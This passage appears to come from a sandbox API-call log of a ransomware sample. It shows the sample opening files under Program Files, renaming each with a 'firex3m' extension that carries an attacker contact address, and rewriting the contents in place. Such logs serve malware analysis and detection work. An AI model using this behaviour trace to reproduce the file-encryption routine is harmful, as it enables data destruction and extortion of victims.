dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.734] Sleep (dwMilliseconds=0x1) [0235.878] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastreviewsettings.xml", len=0x85 | out: pbstr=0x4bfff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastreviewsettings.xml") returned 1 [0235.878] GetProcessHeap () returned 0x630000 [0235.878] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f98) returned 0x6fe3bb0 [0235.878] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es-valencia\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0235.879] CloseHandle (hObject=0x6f8) returned 1 [0235.879] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.879] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es-valencia\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es-valencia\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.880] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.880] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x690074, dwReserved1=0x67006e, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d53c0 [0235.880] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0235.880] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es-valencia\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0235.880] GetProcessHeap () returned 0x630000 [0235.880] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dbd20 [0235.880] GetProcessHeap () returned 0x630000 [0235.880] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dc0d0 [0235.880] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.880] ReadFile (in: hFile=0x6f8, lpBuffer=0x6dbd20, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbd20*, lpNumberOfBytesRead=0x4bfff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0235.883] GetProcessHeap () returned 0x630000 [0235.883] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0235.883] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.883] WriteFile (in: hFile=0x6f8, lpBuffer=0x6dc0d0*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc0d0*, lpNumberOfBytesWritten=0x4bfff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0235.883] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.883] WriteFile (in: hFile=0x6f8, lpBuffer=0x6dc26f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc26f*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.883] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.883] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.966] CloseHandle (hObject=0x6f8) returned 1 [0235.966] GetProcessHeap () returned 0x630000 [0235.967] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc0d0 | out: hHeap=0x630000) returned 1 [0235.967] GetProcessHeap () returned 0x630000 [0235.967] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dbd20 | out: hHeap=0x630000) returned 1 [0235.967] GetProcessHeap () returned 0x630000 [0235.967] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0235.967] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.967] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52998216, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x4bffd20, dwReserved1=0x6dbd20, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5400 [0235.967] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0235.967] Sleep (dwMilliseconds=0x1) [0236.077] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\index.html", len=0x6f | out: pbstr=0x4bfff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\index.html") returned 1 [0236.077] GetProcessHeap () returned 0x630000 [0236.077] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f5c) returned 0x6fe3bb0 [0236.077] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ar-sa\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0236.078] CloseHandle (hObject=0x6d8) returned 1 [0236.078] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.078] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ar-sa\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ar-sa\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.079] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.079] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xb5b9, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0236.079] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0236.079] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ar-sa\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0236.079] GetProcessHeap () returned 0x630000 [0236.079] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x747de88 [0236.079] GetProcessHeap () returned 0x630000 [0236.079] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74892b8 [0236.079] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.079] ReadFile (in: hFile=0x6d8, lpBuffer=0x747de88, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x747de88*, lpNumberOfBytesRead=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0243.433] GetProcessHeap () returned 0x630000 [0243.433] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745ac08 [0243.434] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.434] WriteFile (in: hFile=0x6d8, lpBuffer=0x74892b8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x74892b8*, lpNumberOfBytesWritten=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0243.434] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.434] WriteFile (in: hFile=0x6d8, lpBuffer=0x74946b7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x74946b7*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0243.434] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.434] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0243.434] CloseHandle (hObject=0x6d8) returned 1 [0243.434] GetProcessHeap () returned 0x630000 [0243.434] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74892b8 | out: hHeap=0x630000) returned 1 [0243.435] GetProcessHeap () returned 0x630000 [0243.435] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x747de88 | out: hHeap=0x630000) returned 1 [0243.435] GetProcessHeap () returned 0x630000 [0243.435] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745ac08 | out: hHeap=0x630000) returned 1 [0243.435] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x570ba672, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xb5dd, dwReserved0=0xb907496, dwReserved1=0x747de80, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0243.436] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0243.436] Sleep (dwMilliseconds=0x1) [0244.260] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-16.png", len=0x7d | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-16.png") returned 1 [0244.260] GetProcessHeap () returned 0x630000 [0244.262] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f40) returned 0x6fe3bb0 [0244.274] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\news_logosmall.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.274] Sleep (dwMilliseconds=0x1) [0246.173] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\CMigrate.exe", len=0x67 | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\CMigrate.exe") returned 1 [0246.174] GetProcessHeap () returned 0x630000 [0246.174] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e38) returned 0x6fe3bb0 [0246.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\CMigrate.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\cmigrate.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0246.215] CloseHandle (hObject=0x6d0) returned 1 [0246.215] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0246.215] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\CMigrate.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\cmigrate.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\CMigrate.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\cmigrate.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0248.372] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0248.373] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\CMigrate.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x27d1f57e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f02d8, dwReserved0=0x740063, dwReserved1=0x73002d, cFileName="CMigrate.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CMIGRA~1.FIR")) returned 0x6d4f40 [0248.373] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0248.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\CMigrate.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\cmigrate.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0248.373] GetProcessHeap () returned 0x630000 [0248.373] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7393dd0 [0248.979] GetProcessHeap () returned 0x630000 [0248.979] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f7c800 [0248.980] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.980] ReadFile (in: hFile=0x6d0, lpBuffer=0x7393dd0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7393dd0*, lpNumberOfBytesRead=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0254.359] GetProcessHeap () returned 0x630000 [0254.359] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0254.359] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.359] WriteFile (in: hFile=0x6d0, lpBuffer=0x6f7c800*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f7c800*, lpNumberOfBytesWritten=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0254.360] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.360] WriteFile (in: hFile=0x6d0, lpBuffer=0x6f87bff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f87bff*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0254.361] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.361] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0254.362] CloseHandle (hObject=0x6d0) returned 1 [0254.362] GetProcessHeap () returned 0x630000 [0254.362] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f7c800 | out: hHeap=0x630000) returned 1 [0254.363] GetProcessHeap () returned 0x630000 [0254.363] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7393dd0 | out: hHeap=0x630000) returned 1 [0254.364] GetProcessHeap () returned 0x630000 [0254.364] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0254.390] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.390] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\CMigrate.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x27d1f57e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d8f01cd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f02fc, dwReserved0=0xb907496, dwReserved1=0x7393dc8, cFileName="CMigrate.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CMIGRA~1.FIR")) returned 0x6d51c0 [0254.391] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0254.391] Sleep (dwMilliseconds=0x1) [0254.403] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileWide.scale-100.png", len=0xa0 | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileWide.scale-100.png") returned 1 [0254.403] GetProcessHeap () returned 0x630000 [0254.403] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e20) returned 0x6fe3bb0 [0254.403] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileWide.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_tilewide.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.816] Sleep (dwMilliseconds=0x1) [0256.881] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\ICE.INF", len=0x66 | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\ICE.INF") returned 1 [0256.881] GetProcessHeap () returned 0x630000 [0256.881] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ce8) returned 0x6fe3bb0 [0256.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\ICE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ice\\ice.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0259.761] CloseHandle (hObject=0x620) returned 1 [0259.761] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0259.761] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\ICE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft 